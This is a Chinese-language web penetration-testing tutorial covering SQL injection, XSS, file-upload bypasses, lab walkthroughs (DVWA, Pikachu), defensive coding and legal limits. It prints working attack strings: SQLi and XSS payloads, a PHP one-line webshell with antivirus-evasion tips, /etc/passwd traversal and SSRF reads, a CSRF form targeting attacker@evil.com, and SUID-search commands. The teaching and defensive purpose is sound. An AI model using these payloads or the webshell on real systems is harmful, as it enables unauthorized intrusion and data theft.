1. WEB脚本入侵攻击概述
WEB脚本入侵攻击是指利用WEB应用程序中的漏洞,通过注入恶意脚本或执行非授权操作来获取系统控制权或敏感信息的一类攻击方式。这类攻击通常针对网站后台、数据库和服务器文件系统,是当前网络安全领域最常见也最具破坏性的威胁之一。
我从事网络安全工作十多年来,见证了WEB攻击技术的演进过程。从早期的简单SQL注入到如今复杂的组合式攻击,攻击者的手段越来越隐蔽,防御难度也随之增加。对于初学者来说,掌握这些攻击原理不仅是为了"以攻促防",更是构建安全思维的基础。
2. 核心攻击类型解析
2.1 SQL注入攻击
SQL注入是最经典的WEB攻击方式之一。它的本质是通过构造特殊的输入参数,改变原有SQL语句的逻辑结构。当应用程序未对用户输入进行适当过滤时,攻击者可以:
- 获取数据库敏感信息(用户凭证、个人信息等)
- 绕过认证机制
- 执行数据库管理操作(创建/删除表等)
- 通过数据库功能读写服务器文件
典型攻击示例:
-- 原始语句 SELECT * FROM users WHERE username='$input' AND password='$pass' -- 注入后 SELECT * FROM users WHERE username='admin'--' AND password=''关键技巧:使用
'、"等字符测试输入过滤情况,逐步构造有效payload
2.2 XSS跨站脚本攻击
XSS攻击分为三种类型:
| 类型 | 存储位置 | 触发方式 | 危害程度 |
|---|---|---|---|
| 反射型 | URL参数 | 用户点击恶意链接 | 中等 |
| 存储型 | 数据库 | 用户访问正常页面 | 严重 |
| DOM型 | 前端代码 | 本地DOM解析 | 视情况而定 |
典型XSS payload:
<script>alert(document.cookie)</script> <img src=x onerror=alert(1)>2.3 文件上传漏洞
这是最危险的WEB漏洞之一,攻击者通过上传恶意文件获取服务器控制权。常见绕过方式包括:
- 修改Content-Type头
- 使用双扩展名(如shell.php.jpg)
- 添加NULL字节(shell.php%00.jpg)
- 利用解析差异(Apache的.htaccess)
防御要点:白名单验证文件扩展名+文件内容检测+随机重命名
3. 渗透测试实战流程
3.1 信息收集阶段
指纹识别:
- 使用Wappalyzer识别CMS/框架
- 检查HTTP头中的Server/X-Powered-By
- 分析robots.txt和常见目录结构
目录扫描:
dirb http://target.com /usr/share/wordlists/dirb/common.txt参数发现:
- 使用Burp Suite爬取网站
- 分析JS文件中的API端点
3.2 漏洞探测
SQL注入检测:
sqlmap -u "http://target.com/page?id=1" --batch --level=3XSS检测流程:
- 寻找所有用户输入点
- 测试基本payload:
<script>alert(1)</script> - 逐步尝试绕过过滤:
<img src=x onerror=alert(1)> <svg/onload=alert(1)>
文件上传测试:
- 尝试上传正常图片
- 逐步测试可执行扩展名
- 使用拦截工具修改请求参数
3.3 权限提升与维持
Webshell管理:
- 常用一句话木马:
<?php @eval($_POST['cmd']);?> - 免杀技巧:
- 代码混淆
- 加密传输
- 动态加载
- 常用一句话木马:
提权方法:
- 查找SUID文件:
find / -perm -4000 2>/dev/null - 利用内核漏洞
- 数据库提权(MySQL UDF等)
- 查找SUID文件:
4. 靶场实战分析
4.1 DVWA靶场通关
Low级别SQL注入:
- 直接注入:
' OR 1=1 -- - 获取表名:
' UNION SELECT table_name,2 FROM information_schema.tables --
- 直接注入:
文件包含漏洞:
http://target.com/vulnerabilities/fi/?page=../../../../etc/passwd
4.2 Pikachu靶场技巧
CSRF攻击:
- 构造恶意表单:
<form action="http://target.com/change_email" method="POST"> <input type="hidden" name="email" value="attacker@evil.com"> </form> <script>document.forms[0].submit()</script>
- 构造恶意表单:
SSRF利用:
http://target.com/ssrf.php?url=file:///etc/passwd
5. 防御体系建设
5.1 安全编码实践
SQL注入防御:
// 错误方式 $query = "SELECT * FROM users WHERE id = $id"; // 正确方式(预处理) $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);XSS防护:
- 输出编码:
htmlspecialchars($input, ENT_QUOTES) - CSP策略:
Content-Security-Policy: default-src 'self'
- 输出编码:
5.2 安全配置要点
服务器配置:
- 关闭不必要的HTTP方法
- 限制目录遍历
- 禁用敏感信息泄露(如PHP版本)
WAF规则:
- 过滤常见攻击特征
- 限制请求频率
- 阻断可疑User-Agent
6. 高级技巧与趋势
6.1 新型攻击手法
WebSocket攻击:
- 绕过传统WAF检测
- 实现隐蔽通信
API滥用:
- 批量枚举用户ID
- 未授权访问接口
6.2 自动化工具链
侦察阶段:
- Subfinder域名发现
- Nuclei漏洞扫描
渗透阶段:
# 组合工具示例 cat targets.txt | httpx -silent | nuclei -t /path/to/templates后渗透阶段:
- Cobalt Strike团队服务器
- Metasploit持久化
7. 法律与道德边界
必须强调:所有渗透测试必须获得书面授权。未经授权的测试可能触犯《网络安全法》等法律法规。建议:
- 使用正规靶场(如HTB、Vulnhub)
- 参与漏洞赏金计划
- 建立完善的测试流程文档
在实际工作中,我遇到过一个典型案例:某次授权测试中,通过简单的目录遍历发现了备份的数据库文件,最终帮助客户避免了重大数据泄露风险。这正说明了合法安全测试的价值。